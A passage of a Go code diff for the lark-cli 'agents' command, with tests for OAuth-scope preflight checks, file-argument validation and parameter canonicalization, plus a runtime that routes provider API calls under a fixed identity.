+	if !errors.As(err, &pe) {
+		t.Fatalf("want *errs.PermissionError, got %T: %v", err, err)
+	}
+	if pe.Subtype != errs.SubtypeMissingScope {
+		t.Fatalf("subtype should be missing_scope, got %q", pe.Subtype)
+	}
+	if code := output.ExitCodeOf(err); code != 3 {
+		t.Fatalf("exit code should be 3, got %d", code)
+	}
+	return pe
+}
+
+// TestPreflightReportsMissingWithIncrementalHint is the all-or-nothing pin: a
+// user token holding only some of the provider's scopes fails with EVERY missing
+// scope named (sorted) in both the message and missing_scopes, and a re-auth
+// hint listing ONLY the missing scopes (the open platform authorizes
+// incrementally, so re-login with just the missing keeps existing grants — no
+// merge needed, mirroring cmd/event).
+func TestPreflightReportsMissingWithIncrementalHint(t *testing.T) {
+	err := preflightScopes(preflightInput{
+		Identity:    core.AsUser,
+		TokenScopes: []string{"im:message", "fakescoped:agent_chat:write"},
+		Provider:    scopedInfo(t),
+	})
+	ve := requirePreflightError(t, err)
+
+	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
+	if !strings.Contains(ve.Message, "当前 user 身份缺少本命令所需 scope: "+strings.Join(wantMissing, ", ")) {
+		t.Errorf("message should list all missing scopes, got %q", ve.Message)
+	}
+	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
+		t.Errorf("missing_scopes should be %v (all missing, stable sort), got %v", wantMissing, ve.MissingScopes)
+	}
+	// Incremental hint: ONLY the missing scopes (not merged with existing grants).
+	wantScopeArg := `lark-cli auth login --scope "fakescoped:agent_artifact:read fakescoped:agent_attachment:write fakescoped:agent_chat:read"`
+	if !strings.Contains(ve.Hint, wantScopeArg) {
+		t.Errorf("hint should contain only the missing scopes %q, got %q", wantScopeArg, ve.Hint)
+	}
+	// And must NOT re-list an already-granted scope.
+	if strings.Contains(ve.Hint, "im:message") {
+		t.Errorf("incremental hint must not re-request already-granted scopes, got %q", ve.Hint)
+	}
+}
+
+// TestPreflightBotNoTenantScopesSkipped pins that with no available tenant scope
+// list (fetch failed / app unpublished → nil), the bot check downgrades to a
+// no-op, so the bus/API handshake owns the error.
+func TestPreflightBotNoTenantScopesSkipped(t *testing.T) {
+	err := preflightScopes(preflightInput{
+		Identity:    core.AsBot,
+		TokenScopes: nil,
+		Provider:    scopedInfo(t),
+	})
+	if err != nil {
+		t.Fatalf("bot with no tenant scope list should skip preflight, got %v", err)
+	}
+}
+
+// TestPreflightBotMissingScopes pins the bot branch: given the app's published
+// TenantScopes, a missing scope is reported with the BOT remediation hint (add
+// in the developer console + re-publish), NOT a user re-login.
+func TestPreflightBotMissingScopes(t *testing.T) {
+	// Tenant token carries 2 of the 4 fakescoped scopes.
+	err := preflightScopes(preflightInput{
+		Identity:    core.AsBot,
+		TokenScopes: []string{"fakescoped:agent_chat:read", "fakescoped:agent_chat:write"},
+		Provider:    scopedInfo(t),
+	})
+	ve := requirePreflightError(t, err)
+	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write"}
+	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
+		t.Errorf("bot missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
+	}
+	if ve.Identity != string(core.AsBot) {
+		t.Errorf("error identity should be bot, got %q", ve.Identity)
+	}
+	// Bot hint = console re-publish, NOT `auth login` (that is the user fix).
+	if strings.Contains(ve.Hint, "auth login") {
+		t.Errorf("bot hint must not suggest auth login (user-only), got %q", ve.Hint)
+	}
+	if !strings.Contains(ve.Hint, "developer console") {
+		t.Errorf("bot hint should point to the developer console, got %q", ve.Hint)
+	}
+}
+
+// TestPreflightBotAllScopesPresent pins the bot happy path.
+func TestPreflightBotAllScopesPresent(t *testing.T) {
+	if err := preflightScopes(preflightInput{
+		Identity: core.AsBot, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
+	}); err != nil {
+		t.Errorf("bot with all tenant scopes should pass, got %v", err)
+	}
+}
+
+// TestPreflightNoTokenScopesReturnsNil pins that no local token (or a token
+// without a scope list) yields nil so the downstream not_configured /
+// need-authorization path owns the error.
+func TestPreflightNoTokenScopesReturnsNil(t *testing.T) {
+	err := preflightScopes(preflightInput{
+		Identity:    core.AsUser,
+		TokenScopes: nil,
+		Provider:    scopedInfo(t),
+	})
+	if err != nil {
+		t.Fatalf("no token scope list should return nil, got %v", err)
+	}
+}
+
+// TestPreflightAllScopesPresent pins the happy path: a token carrying all four
+// fakescoped scopes passes the all-or-nothing check.
+func TestPreflightAllScopesPresent(t *testing.T) {
+	if err := preflightScopes(preflightInput{
+		Identity: core.AsUser, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
+	}); err != nil {
+		t.Errorf("should pass when all scopes present, got %v", err)
+	}
+}
+
+// TestPreflightMissingAnyScopeFails pins the all-or-nothing rule: a token that
+// is missing even a single scope fails, and the reported missing set is exactly
+// the scopes it lacks (not just this-verb scopes — the per-verb concept is
+// gone).
+func TestPreflightMissingAnyScopeFails(t *testing.T) {
+	// Missing exactly one scope (attachment) → that one scope is reported.
+	ve := requirePreflightError(t, preflightScopes(preflightInput{
+		Identity: core.AsUser,
+		TokenScopes: []string{
+			"fakescoped:agent_chat:write", "fakescoped:agent_chat:read", "fakescoped:agent_artifact:read",
+		},
+		Provider: scopedInfo(t),
+	}))
+	if !reflect.DeepEqual(ve.MissingScopes, []string{"fakescoped:agent_attachment:write"}) {
+		t.Errorf("when only attachment is missing, missing_scopes should be [fakescoped:agent_attachment:write], got %v", ve.MissingScopes)
+	}
+
+	// Only the write scope → the other three are all reported.
+	ve = requirePreflightError(t, preflightScopes(preflightInput{
+		Identity: core.AsUser, TokenScopes: []string{"fakescoped:agent_chat:write"}, Provider: scopedInfo(t),
+	}))
+	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
+	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
+		t.Errorf("with only the write scope, missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Command wiring: each verb runs preflight after resolveProvider and before
+// any real API call. The stored-scope read goes through the storedUserScopes
+// seam so no test touches the real keychain; zero httpmock stubs are
+// registered, so any HTTP request would fail the test with a transport error
+// instead of the asserted missing_scope.
+// ---------------------------------------------------------------------------
+
+// swapStoredScopes swaps the storedUserScopes seam for the test's scope list.
+func swapStoredScopes(t *testing.T, scopes []string) {
+	t.Helper()
+	old := storedUserScopes
+	storedUserScopes = func(*cmdutil.Factory) []string { return scopes }
+	t.Cleanup(func() { storedUserScopes = old })
+}
+
+// userLeafCmd builds a leaf command under lark-cli/agent/... with --as
+// explicitly set to user so ResolveAs honors it verbatim.
+func userLeafCmd(t *testing.T, names ...string) *cobra.Command {
+	t.Helper()
+	parent := &cobra.Command{Use: "lark-cli"}
+	for _, name := range names {
+		child := &cobra.Command{Use: name}
+		parent.AddCommand(child)
+		parent = child
+	}
+	parent.Flags().String("as", "", "identity")
+	if err := parent.Flags().Set("as", "user"); err != nil {
+		t.Fatal(err)
+	}
+	parent.SetContext(context.Background())
+	return parent
+}
+
+// userFactory builds a test Factory + registry for a user-identity run.
+func userFactory(t *testing.T) (*cmdutil.Factory, *httpmock.Registry) {
+	t.Helper()
+	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	return f, reg
+}
+
+// TestSendPreflightBlocksMissingScope pins the send wiring: a user token that
+// holds none of the provider's scopes fails with missing_scope
+// (reporting the full set) and no request.
+func TestSendPreflightBlocksMissingScope(t *testing.T) {
+	swapStoredScopes(t, []string{"im:message"})
+	f, _ := userFactory(t)
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
+		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
+	})
+	ve := requirePreflightError(t, err)
+	if !reflect.DeepEqual(ve.MissingScopes, fakescopedAllScopes) {
+		t.Errorf("with no provider scope, send should report all missing %v, got %v", fakescopedAllScopes, ve.MissingScopes)
+	}
+}
+
+// TestSendPreflightPartialTokenBlocked pins that a partial token (write only)
+// still fails the all-or-nothing check, reporting the three scopes it lacks.
+func TestSendPreflightPartialTokenBlocked(t *testing.T) {
+	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
+	f, _ := userFactory(t)
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
+		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
+	})
+	ve := requirePreflightError(t, err)
+	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
+	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
+		t.Errorf("write-only token should report missing %v, got %v", wantMissing, ve.MissingScopes)
+	}
+}
+
+// TestSendDryRunSkipsPreflight pins that --dry-run stays API-free AND
+// scope-free — it succeeds even when the token has none of the provider scopes.
+func TestSendDryRunSkipsPreflight(t *testing.T) {
+	swapStoredScopes(t, []string{"im:message"})
+	f, _ := userFactory(t)
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
+		Ref: "fakescoped:agt_x", Text: "hi", As: "user", DryRun: true,
+	})
+	if err != nil {
+		t.Fatalf("--dry-run should not run scope preflight: %v", err)
+	}
+}
+
+// TestTaskGetPreflightBlocksMissingScope pins the task get wiring.
+func TestTaskGetPreflightBlocksMissingScope(t *testing.T) {
+	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
+	f, _ := userFactory(t)
+	err := agentTaskGetRun(&taskOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agents", "task", "get"),
+		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
+	})
+	ve := requirePreflightError(t, err)
+	if !contains(ve.MissingScopes, "fakescoped:agent_chat:read") {
+		t.Errorf("task get missing scope should include fakescoped:agent_chat:read, got %v", ve.MissingScopes)
+	}
+}
+
+// TestTaskGetArtifactPreflightFires pins the --artifact download wiring
+// (resolveDownload path): it too runs the all-or-nothing preflight before the
+// API call.
+func TestTaskGetArtifactPreflightFires(t *testing.T) {
+	swapStoredScopes(t, []string{"fakescoped:agent_chat:read"})
+	f, _ := userFactory(t)
+	err := agentTaskGetRun(&taskOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agents", "task", "get"),
+		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
+		ArtifactID: "art_1", Output: "out.bin",
+	})
+	ve := requirePreflightError(t, err)
+	if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
+		t.Errorf("task get --artifact missing scope should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
+	}
+}
+
+// TestTaskListPreflightBlocksMissingScope pins the task list wiring.
+func TestTaskListPreflightBlocksMissingScope(t *testing.T) {
+	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
+	f, _ := userFactory(t)
+	err := agentTaskListRun(&taskOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agents", "task", "list"),
+		Ref: "fakescoped:agt_x", As: "user",
+	})
+	requirePreflightError(t, err)
+}
+
+// TestContextVerbsPreflightBlocksMissingScope pins the context list/get/delete
+// wiring: all three run the all-or-nothing preflight.
+func TestContextVerbsPreflightBlocksMissingScope(t *testing.T) {
+	runs := []struct {
+		name string
+		run  func(f *cmdutil.Factory) error
+	}{
+		{"list", func(f *cmdutil.Factory) error {
+			return agentContextListRun(&contextOptions{
+				Factory: f, Cmd: userLeafCmd(t, "agents", "context", "list"),
+				Ref: "fakescoped:agt_x", As: "user", Format: "pretty",
+			})
+		}},
+		{"get", func(f *cmdutil.Factory) error {
+			return agentContextGetRun(&contextOptions{
+				Factory: f, Cmd: userLeafCmd(t, "agents", "context", "get"),
+				Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user",
+			})
+		}},
+		{"delete", func(f *cmdutil.Factory) error {
+			return agentContextDeleteRun(&contextOptions{
+				Factory: f, Cmd: userLeafCmd(t, "agents", "context", "delete"),
+				Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user", Yes: true,
+			})
+		}},
+	}
+	for _, tc := range runs {
+		t.Run(tc.name, func(t *testing.T) {
+			swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
+			f, _ := userFactory(t)
+			requirePreflightError(t, tc.run(f))
+		})
+	}
+}
+
+// TestSendPreflightPassesWithScopeAndSends pins that a token holding the full
+// provider scope set lets the real send proceed (the scripted Send hook fires,
+// proving preflight did not false-positive).
+func TestSendPreflightPassesWithScopeAndSends(t *testing.T) {
+	swapStoredScopes(t, fakescopedAllScopes)
+	f, _ := userFactory(t)
+	sent := false
+	setScripted(t, scriptedHooks{send: func(iagents.SendInput) (*iagents.AgentTask, error) {
+		sent = true
+		return &iagents.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagents.StateWorking}, nil
+	}})
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
+		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
+	})
+	if err != nil {
+		t.Fatalf("a send with all scopes should pass preflight and send: %v", err)
+	}
+	if !sent {
+		t.Fatal("provider.Send should actually be called after preflight passes")
+	}
+}
+
+// TestTaskCancelPreflightWired pins the task cancel wiring: the capability
+// gate (fakemin card declares task_cancel=false) answers before
+// provider/preflight, so a scope-missing user token yields
+// unsupported_capability, not missing_scope — proving the wired
+// preflight does not change the gate-first ordering.
+func TestTaskCancelPreflightWired(t *testing.T) {
+	swapStoredScopes(t, []string{"im:message"})
+	f, _ := userFactory(t)
+	err := agentTaskCancelRun(&taskOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agents", "task", "cancel"),
+		Ref: "fakemin:agt_x", TaskID: "t1", As: "user",
+	})
+	if err == nil {
+		t.Fatal("task cancel with task_cancel=false should be blocked by the capability gate")
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
+		t.Fatalf("want unsupported_capability (capability gate answers first), got %+v", p)
+	}
+}
+
+// swapBotTenantScopes swaps the botTenantScopes seam so no test touches the
+// app-version fetch / network.
+func swapBotTenantScopes(t *testing.T, scopes []string) {
+	t.Helper()
+	old := botTenantScopes
+	botTenantScopes = func(*cmdutil.Factory) []string { return scopes }
+	t.Cleanup(func() { botTenantScopes = old })
+}
+
+// TestTaskGetBotPreflightBlocksMissingScope pins the bot wiring end-to-end:
+// preflightScopesForRef gathers tenant scopes via the botTenantScopes seam (not
+// storedUserScopes) for a bot identity and blocks a missing scope.
+func TestTaskGetBotPreflightBlocksMissingScope(t *testing.T) {
+	swapBotTenantScopes(t, []string{"fakescoped:agent_chat:read"})
+	f, _ := userFactory(t)
+	err := agentTaskGetRun(&taskOptions{
+		Factory: f, Cmd: taskCmdCtx(t, "get"), // taskCmdCtx sets --as bot
+		Ref: "fakescoped:agt_x", TaskID: "t1", As: "bot",
+	})
+	ve := requirePreflightError(t, err)
+	if ve.Identity != string(core.AsBot) {
+		t.Errorf("preflight error identity should be bot, got %q", ve.Identity)
+	}
+	if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
+		t.Errorf("bot task get missing scopes should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
+	}
+}
+
+// contains reports whether s appears in the slice.
+func contains(ss []string, s string) bool {
+	for _, x := range ss {
+		if x == s {
+			return true
+		}
+	}
+	return false
+}

cmd/agents/register_test.go

@@ -0,0 +1,11 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+// Provider packages are pure data (no init side effect); the top-level agent
+// package's init aggregates and registers them. In production that package is
+// blank-imported from cmd/build.go, not by cmd/agent. Several tests here exercise
+// the real example scheme (example:echo / example:reporter), so blank-import the
+// top-level agent package to run its registration for the test binary.
+import _ "github.com/larksuite/cli/agents"

cmd/agents/review_fixes_test.go

@@ -0,0 +1,203 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// Tests pinning the excellence-review fixes: the --file local gate, scalar
+// canonicalization across channels, nearest-first unknown-param suggestions,
+// and the terminal self-loop removal in meta.next.
+
+package agents
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+)
+
+// TestValidateSendFiles pins the --file local gate: relative-within-CWD +
+// existing regular file, all violations collected in one pass.
+func TestValidateSendFiles(t *testing.T) {
+	mkSendFile(t, "ok.txt")
+
+	if err := validateSendFiles([]string{"ok.txt"}); err != nil {
+		t.Fatalf("a relative existing file should pass, got %v", err)
+	}
+	if err := validateSendFiles(nil); err != nil {
+		t.Fatalf("no files should pass, got %v", err)
+	}
+
+	abs := filepath.Join(t.TempDir(), "abs.txt")
+	if err := os.WriteFile(abs, []byte("x"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.Mkdir("adir", 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	err := validateSendFiles([]string{abs, "missing.txt", "adir", "ok.txt"})
+	if err == nil {
+		t.Fatal("abs path + missing file + directory should all be rejected")
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	msg := err.Error()
+	for _, want := range []string{abs, "missing.txt", "adir"} {
+		if !strings.Contains(msg, want) {
+			t.Errorf("collect-all message should mention %q, got %q", want, msg)
+		}
+	}
+	if strings.Contains(msg, "ok.txt") {
+		t.Errorf("the valid file must not appear as a violation: %q", msg)
+	}
+}
+
+// canonSpec declares one param per scalar type for canonicalization tests.
+func canonSpec() *iagents.AgentSpec {
+	return &iagents.AgentSpec{
+		Send: iagents.SendOp{
+			Params: []iagents.CardParam{
+				{Name: "flag", Type: "boolean"},
+				{Name: "n", Type: "integer"},
+				{Name: "render", Type: "object", Fields: []iagents.CardParam{
+					{Name: "watermark", Type: "boolean"},
+				}},
+			},
+			Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil },
+		},
+		GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
+	}
+}
+
+// TestParamCanonicalization pins that accepted variant literals normalize to
+// one canonical wire form regardless of channel: the provider (and dry-run,
+// and the meta.next carry) never see TRUE/1/+5/04.
+func TestParamCanonicalization(t *testing.T) {
+	spec := canonSpec()
+	cases := []struct{ kv, key, want string }{
+		{"flag=TRUE", "flag", "true"},
+		{"flag=1", "flag", "true"},
+		{"flag=0", "flag", "false"},
+		{"n=+5", "n", "5"},
+		{"n=04", "n", "4"},
+		{"render.watermark=T", "render.watermark", "true"},
+		{`render={"watermark":"TRUE"}`, "render.watermark", "true"},
+		{`render={"watermark":true}`, "render.watermark", "true"},
+	}
+	for _, tc := range cases {
+		vp, err := validateParams([]string{tc.kv}, spec.Send.Params, iagents.VerbSend, spec, "acme:x")
+		if err != nil {
+			t.Errorf("%s should validate, got %v", tc.kv, err)
+			continue
+		}
+		if got := vp.Resolved[tc.key]; got != tc.want {
+			t.Errorf("%s: resolved[%s] = %q, want canonical %q", tc.kv, tc.key, got, tc.want)
+		}
+		if got := vp.Given[tc.key]; got != tc.want {
+			t.Errorf("%s: given[%s] = %q, want canonical %q (the carry reads Given)", tc.kv, tc.key, got, tc.want)
+		}
+	}
+}
+
+// TestUnknownParamSuggestionsNearest pins the typo teaching: a near-miss key
+// suggests the nearest declared names first (edit distance ≤ 2), not the full
+// declaration-order table; a cross-verb hit keeps suggestions empty (a verb
+// name is not a substitutable param name — the reason sentence teaches it).
+func TestUnknownParamSuggestionsNearest(t *testing.T) {
+	spec := paramSpec()
+
+	_, err := validateParams([]string{"workspce_id=w"}, spec.Send.Params, iagents.VerbSend, spec, "acme:x")
+	verr := asValidationErr(t, err)
+	if len(verr.Params) != 2 { // unknown + missing-required workspace_id
+		t.Fatalf("want 2 violations, got %+v", verr.Params)
+	}
+	var sugg []string
+	for _, p := range verr.Params {
+		if p.Name == "workspce_id" {
+			sugg = p.Suggestions
+		}
+	}
+	if len(sugg) == 0 || sugg[0] != "workspace_id" {
+		t.Errorf("typo suggestions should lead with the nearest name, got %v", sugg)
+	}
+	if len(sugg) >= len(spec.Send.Params) {
+		t.Errorf("near-miss suggestions should be filtered, not the full table: %v", sugg)
+	}
+
+	// Cross-verb: task_list declares workspace_id? no — send-only param priority
+	// used against task_list reverse-looks-up to send.
+	_, err = validateParams([]string{"priority=high"}, spec.ListTasks.Params, iagents.VerbTaskList, spec, "acme:x")
+	verr = asValidationErr(t, err)
+	for _, p := range verr.Params {
+		if p.Name == "priority" {
+			if len(p.Suggestions) != 0 {
+				t.Errorf("cross-verb suggestions must not carry verb names, got %v", p.Suggestions)
+			}
+			if !strings.Contains(p.Reason, "声明在") {
+				t.Errorf("cross-verb reason should teach where it is declared, got %q", p.Reason)
+			}
+		}
+	}
+}
+
+func asValidationErr(t *testing.T, err error) *errs.ValidationError {
+	t.Helper()
+	if err == nil {
+		t.Fatal("expected a validation error")
+	}
+	verr, ok := err.(*errs.ValidationError)
+	if !ok {
+		t.Fatalf("want *errs.ValidationError, got %T: %v", err, err)
+	}
+	return verr
+}
+
+// TestNextForTaskNoSelfLoop pins that a terminal task viewed via task get does
+// not suggest the very command just executed; artifact downloads remain.
+func TestNextForTaskNoSelfLoop(t *testing.T) {
+	spec := &iagents.AgentSpec{
+		Send:    iagents.SendOp{Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil }},
+		GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
+		DownloadArtifact: iagents.ArtifactDownloadOp{
+			Handler: func(context.Context, iagents.Runtime, string, string) (*iagents.ArtifactData, error) { return nil, nil },
+		},
+	}
+	task := &iagents.AgentTask{
+		TaskID: "task_1", State: iagents.StateCompleted, IsTerminal: true,
+		Artifacts: []iagents.Artifact{{ID: "art_1", Kind: "text"}},
+	}
+
+	// Viewed from send: the detail suggestion IS the increment — keep it.
+	fromSend := nextForTask("example:x", task, spec, nil, iagents.VerbSend)
+	if len(fromSend) < 1 || !strings.Contains(fromSend[0].Command, "task get example:x task_1") {
+		t.Fatalf("send caller should keep the detail suggestion, got %+v", fromSend)
+	}
+
+	// Viewed from task get: the detail suggestion is a self-loop — drop it.
+	fromGet := nextForTask("example:x", task, spec, nil, iagents.VerbTaskGet)
+	for _, n := range fromGet {
+		if !n.Template && strings.Contains(n.Command, "task get example:x task_1") && !strings.Contains(n.Command, "--artifact") {
+			t.Errorf("task get caller must not re-suggest itself, got %+v", fromGet)
+		}
+	}
+	found := false
+	for _, n := range fromGet {
+		if strings.Contains(n.Command, "--artifact art_1") {
+			found = true
+		}
+	}
+	if !found {
+		t.Errorf("artifact download should survive the self-loop removal, got %+v", fromGet)
+	}
+
+	// No artifacts + task get caller → genuinely nothing to add.
+	bare := &iagents.AgentTask{TaskID: "task_2", State: iagents.StateCompleted, IsTerminal: true}
+	if next := nextForTask("example:x", bare, spec, nil, iagents.VerbTaskGet); len(next) != 0 {
+		t.Errorf("no increment should yield no next, got %+v", next)
+	}
+}

cmd/agents/runtime.go

@@ -0,0 +1,118 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+
+	larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/client"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/validate"
+	"github.com/larksuite/cli/internal/vfs"
+)
+
+// cmdRuntime is the concrete iagents.Runtime: it routes provider hook calls
+// through the shared client.APIClient under a pinned identity (mirrors event's
+// consumeRuntime in cmd/event/runtime.go). Provider code never sees the client,
+// the identity resolution, or the response-envelope unwrap — that is exactly the
+// plumbing the old Deps struct leaked.
+type cmdRuntime struct {
+	client  *client.APIClient
+	as      core.Identity
+	agentID string
+	params  map[string]string // validated business params (defaults backfilled)
+}
+
+func (r *cmdRuntime) AgentID() string { return r.agentID }
+func (r *cmdRuntime) IsBot() bool     { return r.as == core.AsBot }
+
+// Params returns a copy of the validated business parameters, so a hook cannot
+// corrupt framework state (see the Runtime.Params contract in internal/agent).
+func (r *cmdRuntime) Params() map[string]string {
+	out := make(map[string]string, len(r.params))
+	for k, v := range r.params {
+		out[k] = v
+	}
+	return out
+}
+
+func (r *cmdRuntime) CallAPI(ctx context.Context, method, path string, query map[string]string, body any) (json.RawMessage, error) {
+	var params map[string]interface{}
+	if len(query) > 0 {
+		params = make(map[string]interface{}, len(query))
+		for k, v := range query {
+			params[k] = v
+		}
+	}
+	return r.do(ctx, client.RawApiRequest{Method: method, URL: path, Params: params, Data: body, As: r.as})
+}
+
+func (r *cmdRuntime) CallMultipart(ctx context.Context, method, path string, fields map[string]string, files []iagents.FilePart) (json.RawMessage, error) {
+	fd := larkcore.NewFormdata()
+	for k, v := range fields {
+		fd.AddField(k, v)
+	}
+	for _, fp := range files {
+		// SafeInputPath is the framework-owned security check (no path traversal /
+		// outside CWD); a provider must never re-implement it.
+		resolved, err := validate.SafeInputPath(fp.Path)
+		if err != nil {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: %v", err).
+				WithParam("--file").WithCause(err)
+		}
+		f, err := vfs.Open(resolved)
+		if err != nil {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: 无法打开 %s: %v", fp.Path, err).
+				WithParam("--file").WithCause(err)
+		}
+		// Closed when CallMultipart returns, i.e. after do()'s request has read the
+		// body — deferring in the loop keeps every file open for the request.
+		defer f.Close()
+		fd.AddFile(fp.Field, f)
+	}
+	return r.do(ctx, client.RawApiRequest{
+		Method: method, URL: path, Data: fd, As: r.as,
+		ExtraOpts: []larkcore.RequestOptionFunc{larkcore.WithFileUpload()},
+	})
+}
+
+// do is the shared DoAPI → ParseJSONResponse → CheckResponse → unwrap-"data"
+// path. It returns the "data" sub-object as raw JSON (the typed Call[T]/
+// CallUpload[T] helpers decode it). Identity is sealed in r.as and never handed
+// out; any non-typed transport error is classified here so hooks only ever see
+// typed errs.* values.
+func (r *cmdRuntime) do(ctx context.Context, req client.RawApiRequest) (json.RawMessage, error) {
+	resp, err := r.client.DoAPI(ctx, req)
+	if err != nil {
+		if _, ok := errs.ProblemOf(err); ok {
+			return nil, err
+		}
+		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
+	}
+	result, err := client.ParseJSONResponse(resp)
+	if err != nil {
+		if _, ok := errs.ProblemOf(err); ok {
+			return nil, err
+		}
+		return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
+	}
+	if apiErr := r.client.CheckResponse(result, r.as); apiErr != nil {
+		return nil, apiErr
+	}
+	top, _ := result.(map[string]interface{})
+	dataVal, ok := top["data"]
+	if !ok || dataVal == nil {
+		return nil, nil // no "data" (e.g. a pure write) — callers get the zero value
+	}
+	raw, err := json.Marshal(dataVal)
+	if err != nil {
+		return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: re-encode data: %s", req.Method, req.URL, err).WithCause(err)
+	}
+	return raw, nil
+}

cmd/agents/runtime_test.go

@@ -0,0 +1,207 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"io"
+	"net/http"
+	"strings"
+	"testing"
+
+	lark "github.com/larksuite/oapi-sdk-go/v3"
+	larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/client"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/credential"
+)
+
+// staticTokenResolver always returns a fixed token without any HTTP call.
+type staticTokenResolver struct{}
+
+func (s *staticTokenResolver) ResolveToken(_ context.Context, _ credential.TokenSpec) (*credential.TokenResult, error) {
+	return &credential.TokenResult{Token: "test-token"}, nil
+}
+
+// stubRoundTripper intercepts every outgoing request with a canned response.
+type stubRoundTripper struct {
+	respond func(*http.Request) (*http.Response, error)
+}
+
+func (s stubRoundTripper) RoundTrip(r *http.Request) (*http.Response, error) { return s.respond(r) }
+
+// newTestCmdRuntime builds a cmdRuntime whose client routes every request through
+// rt (mirrors cmd/event/runtime_test.go's consumeRuntime harness). Identity is
+// pinned to as; agentID is fixed.
+func newTestCmdRuntime(rt http.RoundTripper, as core.Identity, agentID string) *cmdRuntime {
+	sdk := lark.NewClient("test-app", "test-secret",
+		lark.WithEnableTokenCache(false),
+		lark.WithLogLevel(larkcore.LogLevelError),
+		lark.WithHttpClient(&http.Client{Transport: rt}),
+	)
+	return &cmdRuntime{
+		client: &client.APIClient{
+			SDK:        sdk,
+			ErrOut:     io.Discard,
+			Credential: credential.NewCredentialProvider(nil, nil, &staticTokenResolver{}, nil),
+			Config:     &core.CliConfig{AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu},
+		},
+		as:      as,
+		agentID: agentID,
+	}
+}
+
+func jsonResponse(status int, body string) func(*http.Request) (*http.Response, error) {
+	return func(r *http.Request) (*http.Response, error) {
